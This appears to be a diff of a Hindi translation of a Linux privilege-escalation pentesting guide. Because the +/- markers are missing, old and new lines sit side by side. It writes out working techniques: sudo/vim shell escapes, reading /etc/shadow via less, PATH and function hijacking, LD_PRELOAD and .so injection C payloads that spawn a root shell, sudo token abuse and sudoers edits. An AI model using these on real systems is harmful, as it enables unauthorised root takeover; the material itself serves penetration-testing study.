यदि आप पाते हैं कि आप **`ctr`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**:
@ -562,13 +562,13 @@ runc-privilege-escalation.md
## **D-Bus**
D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को कुशलता से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है।
D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को कुशलता से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है।
यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक इनकमिंग कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक म्यूजिक प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, उन प्रक्रियाओं को सुव्यवस्थित करता है जो पारंपरिक रूप से जटिल थीं
यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक इनकमिंग कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक म्यूजिक प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, पारंपरिक रूप से जटिल प्रक्रियाओं को सुगम बनाता है
D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं।
D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं।
`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रने की अनुमति को विस्तृत करता है।
`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण दिया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रने की अनुमति को विस्तृत करता है।
बिना निर्दिष्ट उपयोगकर्ता या समूह वाली नीतियाँ सार्वभौमिक रूप से लागू होती हैं, जबकि "डिफ़ॉल्ट" संदर्भ नीतियाँ उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं की गई हैं।
```xml
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\
कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\
**इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`**
### Groups
@ -683,18 +683,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### ज्ञात पासवर्ड
यदि आप **पर्यावरण का कोई पासवर्ड जानते हैं** तो **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें** पासवर्ड का उपयोग करके।
यदि आप **पर्यावरण का कोई पासवर्ड जानते हैं** तो **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें** उस पासवर्ड का उपयोग करके।
### Su Brute
यदि आपको बहुत शोर करने में कोई आपत्ति नहीं है और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है।
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) के साथ `-a` पैरामीटर भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है।
## लिखने योग्य PATH का दुरुपयोग
### $PATH
यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ा सकते हैं जिसका नाम किसी कमांड के समान है जिसे एक अलग उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता है** $PATH में।
यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** में सक्षम हो सकते हैं जिसका नाम किसी कमांड के समान है जिसे एक अलग उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता है** $PATH में।
### SUDO और SUID
@ -720,13 +720,13 @@ $ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में एक ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना तुच्छ है।
इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में एक ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना सरल है।
```
sudo vim -c '!sh'
```
### SETENV
यह निर्देश उपयोगकर्ता को **एक वातावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित कर रहा है:
यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित करते समय:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
@ -736,9 +736,9 @@ User waldo may run the following commands on admirer:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo execution bypassing paths
### Sudo निष्पादन बाईपासिंग पथ
**Jump** अन्य फ़ाइलों को पढ़ने के लिए या **symlinks** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_
**कूदें** अन्य फ़ाइलें पढ़ने के लिए या **सिंबलिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -748,7 +748,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
यदि **वाइल्डकार्ड** (\*) का उपयोग किया जाता है, तो यह और भी आसान है:
यदि **wildcard** का उपयोग किया जाता है (\*), तो यह और भी आसान है:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
@ -763,15 +763,15 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
यह तकनीक तब भी उपयोग की जा सकती है यदि एक **suid** बाइनरी **बिना उसके पथ को निर्दिष्ट किए किसी अन्य कमांड को निष्पादित करती है (हमेशा एक अजीब SUID बाइनरी की सामग्री की जांच करें)** _**strings**_ **के साथ।**
यह तकनीक तब भी उपयोग की जा सकती है यदि एक **suid** बाइनरी **बिना उसके पथ को निर्दिष्ट किए किसी अन्य कमांड को निष्पादित करती है (हमेशा एक अजीब SUID बाइनरी की सामग्री की जांच करने के लिए** _**strings**_ **का उपयोग करें)**
[Payload examples to execute.](payloads-to-execute.md)
### कमांड पथ के साथ SUID बाइनरी
यदि **suid** बाइनरी **कमांड का पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप **एक फ़ंक्शन निर्यात करने** की कोशिश कर सकते हैं जिसका नाम उस कमांड के समान है जिसे suid फ़ाइल कॉल कर रही है।
यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** बनाने और उसे एक्सपोर्ट करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है।
उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फ़ंक्शन बनाने और उसे निर्यात करने की कोशिश करनी चाहिए:
उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे एक्सपोर्ट करने की कोशिश करनी चाहिए:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@ -780,7 +780,7 @@ export -f /usr/sbin/service
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को लोडर द्वारा सभी अन्य से पहले लोड करने के लिए किया जाता है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है।
**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को निर्दिष्ट करने के लिए किया जाता है जिन्हें लोडर द्वारा सभी अन्य के पहले लोड किया जाना है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है।
हालांकि, सिस्टम की सुरक्षा बनाए रखने और इस सुविधा के दुरुपयोग को रोकने के लिए, विशेष रूप से **suid/sgid** निष्पादन योग्य के साथ, सिस्टम कुछ शर्तों को लागू करता है:
@ -836,11 +836,11 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID बाइनरी .so इंजेक्शन
जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही ढंग से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है:
जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही तरीके से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (कोई ऐसा फ़ाइल या निर्देशिका नहीं)"_ जैसी त्रुटि का सामना करना शोषण की संभावना का सुझाव देता है।
उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (कोई ऐसा फ़ाइल या निर्देशिका नहीं)"_ जैसी त्रुटि का सामना करना संभावित शोषण का संकेत देती है।
इसका शोषण करने के लिए, कोई एक C फ़ाइल बनाएगा, जैसे _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा:
```c
@ -884,7 +884,7 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
यदि आपको इस तरह की त्रुटि मिलती है
यदि आपको कोई त्रुटि मिलती है जैसे
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
@ -892,9 +892,9 @@ system("/bin/bash -p");
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) एक क्यूरेटेड सूची है Unix बाइनरीज़ की, जिन्हें एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में **इंजेक्ट** कर सकते हैं।
[**GTFOBins**](https://gtfobins.github.io) Unix बाइनरीज़ की एक चयनित सूची है जिसे एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में इंजेक्ट कर सकते हैं।
यह प्रोजेक्ट उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करता है, जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल्स को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है।
यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करती है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल्स को स्पॉन करने, और अन्य पोस्ट-शोषण कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है।
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -920,7 +920,7 @@ https://gtfoargs.github.io/
विशेषाधिकार बढ़ाने की आवश्यकताएँ:
- आपके पास पहले से "_sampleuser_" उपयोगकर्ता के रूप में एक शेल है
- "_sampleuser_" ने **अंतिम 15 मिनट में `sudo`** का उपयोग करके कुछ निष्पादित किया है (डिफ़ॉल्ट रूप से यह वह अवधि है जिसमें sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देत है)
- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह sudo टोकन की अवधि है जो हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देत है)
- `cat /proc/sys/kernel/yama/ptrace_scope` 0 है
- `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं)
@ -934,7 +934,7 @@ bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- **दूसरा एक्सप्लॉइट** (`exploit_v2.sh`) _/tmp_ में **रूट द्वारा सेटयूआईडी के साथ एक श शेल बनाएगा**
- दूसरा **शोषण** (`exploit_v2.sh`) _/tmp_ में **रूट द्वारा सेटयूआईडी के साथ एक श शेल बनाएगा**
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -947,14 +947,14 @@ sudo su
### /var/run/sudo/ts/\<Username>
यदि आपके पास फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर **लेखन अनुमतियाँ** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **एक उपयोगकर्ता और PID के लिए sudo टोकन बना सकते हैं**।\
उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को ओवरराइट कर सकते हैं और आपके पास उस उपयोगकर्ता के रूप में PID 1234 के साथ एक शेल है, तो आप **sudo विशेषाधिकार प्राप्त कर सकते हैं** बिना पासवर्ड जाने:
उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को अधिलेखित कर सकते हैं और आपके पास उस उपयोगकर्ता के रूप में PID 1234 के साथ एक शेल है, तो आप **sudo विशेषाधिकार प्राप्त कर सकते हैं** बिना पासवर्ड जाने:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
फाइल `/etc/sudoers` और फाइलें `/etc/sudoers.d` के अंदर यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फाइलें **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता root और समूह root द्वारा पढ़ी जा सकती हैं**।\
**यदि** आप इस फाइल को **पढ़ सकते हैं** तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख सकते हैं** तो आप **अधिकार बढ़ा सकते हैं**
फाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फाइलें **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता रूट और समूह रूट द्वारा पढ़ी जा सकती हैं**।\
**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप किसी फाइल को **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकते हैं।
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@ -973,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
`sudo` बाइनरी के कुछ विकल्प हैं जैसे कि OpenBSD के लिए `doas`, इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें।
`sudo` बाइनरी के कुछ विकल्प हैं जैसे कि `doas` OpenBSD के लिए, इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें।
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
यदि आप जानते हैं कि एक **उपयोगकर्ता आमतौर पर एक मशीन से कनेक्ट होता है और विशेषाधिकार बढ़ाने के लिए `sudo` का उपयोग करता है** और आपके पास उस उपयोगकर्ता संदर्भ में एक शेल है, तो आप **एक नया sudo निष्पादन योग्य बना सकते हैं** जो आपके कोड को रूट के रूप में चलाएगा और फिर उपयोगकर्ता का कमांड। फिर, **उपयोगकर्ता संदर्भ का $PATH संशोधित करें** (उदाहरण के लिए .bash_profile में नया पथ जोड़कर) ताकि जब उपयोगकर्ता sudo निष्पादित करे, तो आपका sudo निष्पादन योग्य चलाया जाए
यदि आप जानते हैं कि एक **उपयोगकर्ता आमतौर पर एक मशीन से कनेक्ट होता है और विशेषाधिकार बढ़ाने के लिए `sudo` का उपयोग करता है** और आपके पास उस उपयोगकर्ता संदर्भ में एक शेल है, तो आप **एक नया sudo निष्पादन योग्य बना सकते हैं** जो आपके कोड को रूट के रूप में निष्पादित करेगा और फिर उपयोगकर्ता का कमांड। फिर, **उपयोगकर्ता संदर्भ का $PATH संशोधित करें** (उदाहरण के लिए .bash_profile में नया पथ जोड़कर) ताकि जब उपयोगकर्ता sudo निष्पादित करे, तो आपका sudo निष्पादन योग्य निष्पादित हो
ध्यान दें कि यदि उपयोगकर्ता एक अलग शेल का उपयोग करता है (bash नहीं) तो आपको नए पथ को जोड़ने के लिए अन्य फ़ाइलों को संशोधित करने की आवश्यकता होगी। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को संशोधित करता है। आप [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में एक और उदाहरण पा सकते हैं।
@ -1002,12 +1002,12 @@ sudo ls
### ld.so
फाइल `/etc/ld.so.conf` **यह संकेत करती है कि लोड की गई कॉन्फ़िगरेशन फ़ाइलें कहाँ से हैं**। आमतौर पर, इस फ़ाइल में निम्नलिखित पथ होता है: `include /etc/ld.so.conf.d/*.conf`
फाइल `/etc/ld.so.conf` **यह दर्शाती है कि लोड की गई कॉन्फ़िगरेशन फ़ाइलें कहाँ से हैं**। आमतौर पर, इस फ़ाइल में निम्नलिखित पथ होता है: `include /etc/ld.so.conf.d/*.conf`
इसका मतलब है कि `/etc/ld.so.conf.d/*.conf` से कॉन्फ़िगरेशन फ़ाइलें पढ़ी जाएँगी। ये कॉन्फ़िगरेशन फ़ाइलें **अन्य फ़ोल्डरों की ओर इशारा करती हैं** जहाँ **लाइब्रेरीज़** के लिए **खोजी जाएगी**। उदाहरण के लिए, `/etc/ld.so.conf.d/libc.conf` की सामग्री है `/usr/local/lib`**इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर लाइब्रेरीज़ के लिए खोज करेगा**।
इसका मतलब है कि `/etc/ld.so.conf.d/*.conf` से कॉन्फ़िगरेशन फ़ाइलें पढ़ी जाएँगी। ये कॉन्फ़िगरेशन फ़ाइलें **अन्य फ़ोल्डरों की ओर इशारा करती हैं** जहाँ **लाइब्रेरी** **खोज** जाएगी। उदाहरण के लिए, `/etc/ld.so.conf.d/libc.conf` की सामग्री है `/usr/local/lib`**इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर लाइब्रेरी खोजेगा**।
यदि किसी कारणवश **किसी उपयोगकर्ता के पास लिखने की अनुमति है** किसी भी पथ पर जो संकेतित हैं: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` के अंदर कॉन्फ़िगरेशन फ़ाइल के भीतर कोई भी फ़ोल्डर, तो वह विशेषाधिकार बढ़ाने में सक्षम हो सकता है।\
इस **गलत कॉन्फ़िगरेशन का लाभ उठाने के तरीके** पर नज़र डालें:
इस गलत कॉन्फ़िगरेशन का **शोषण कैसे करें** इस पृष्ठ पर देखें:
{{#ref}}
ld.so.conf-example.md
@ -1048,8 +1048,8 @@ execve(file,argv,0);
```
## क्षमताएँ
Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट **विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित** करता है। इन इकाइयों में से प्रत्येक को स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\
अधिक जानकारी के लिए **क्षमताओं और उन्हें कैसे दुरुपयोग करें** पढ़ें:
Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट **विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित करता है**। इन इकाइयों में से प्रत्येक को स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\
अधिक जानकारी के लिए **क्षमताओं और उन्हें कैसे दुरुपयोग किया जा सकता है** पढ़ें:
{{#ref}}
linux-capabilities.md
@ -1057,8 +1057,8 @@ linux-capabilities.md
## निर्देशिका अनुमतियाँ
एक निर्देशिका में, **"कार्यक्रम" के लिए बिट** का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\
**"पढ़ने"** बिट का अर्थ है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** बिट का अर्थ है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइल** **बना** सकता है।
एक निर्देशिका में, **"कार्यान्वयन" के लिए बिट** का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\
**"पढ़ने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइल** **बना** सकता है।
## ACLs
@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Open shell sessions
In **पुराने संस्करणों** में आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्रों को एक अलग उपयोगकर्ता (**रूट**) के।\
In **नवीनतम संस्करणों** में आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **जुड़ने** में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं।
In **पुराने संस्करणों** आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्रों को एक अलग उपयोगकर्ता (**रूट**) के।\
In **नवीनतम संस्करणों** आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **जुड़ने** में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं।
### screen sessions hijacking
@ -1128,22 +1128,22 @@ Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर
### SSH Interesting configuration values
- **PasswordAuthentication:** यह निर्दिष्ट करता है कि क्या पासवर्ड प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `no` है।
- **PubkeyAuthentication:** यह निर्दिष्ट करता है कि क्या सार्वजनिक कुंजी प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `yes` है।
- **PermitEmptyPasswords**: जब पासवर्ड प्रमाणीकरण की अनुमति होती है, तो यह निर्दिष्ट करता है कि क्या सर्वर खाली पासवर्ड स्ट्रिंग वाले खातों में लॉगिन की अनुमति देता है। डिफ़ॉल्ट `no` है।
- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`.
- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`.
- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`.
### PermitRootLogin
यह निर्दिष्ट करता है कि क्या रूट ssh का उपयोग करके लॉगिन कर सकता है, डिफ़ॉल्ट `no` है। संभावित मान:
Specifies whether root can log in using ssh, default is `no`. Possible values:
- `yes`: रूट पासवर्ड और निजी कुंजी का उपयोग करके लॉगिन कर सकता है
- `without-password` या `prohibit-password`: रूट केवल निजी कुंजी के साथ लॉगिन कर सकता है
- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके लॉगिन कर सकता है और यदि कमांड विकल्प निर्दिष्ट किए गए हैं
- `no` : नहीं
- `yes`: root can login using password and private key
- `without-password` or `prohibit-password`: root can only login with a private key
- `forced-commands-only`: Root can login only using private key and if the commands options are specified
- `no` : no
### AuthorizedKeysFile
यह उन फ़ाइलों को निर्दिष्ट करता है जो सार्वजनिक कुंजियों को शामिल करती हैं जो उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जा सकती हैं। इसमें `%h` जैसे टोकन हो सकते हैं, जिसे होम डायरेक्टरी द्वारा प्रतिस्थापित किया जाएगा। **आप पूर्ण पथ निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होता है) या **उपयोगकर्ता के होम से सापेक्ष पथ**। उदाहरण के लिए:
Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1151,14 +1151,14 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
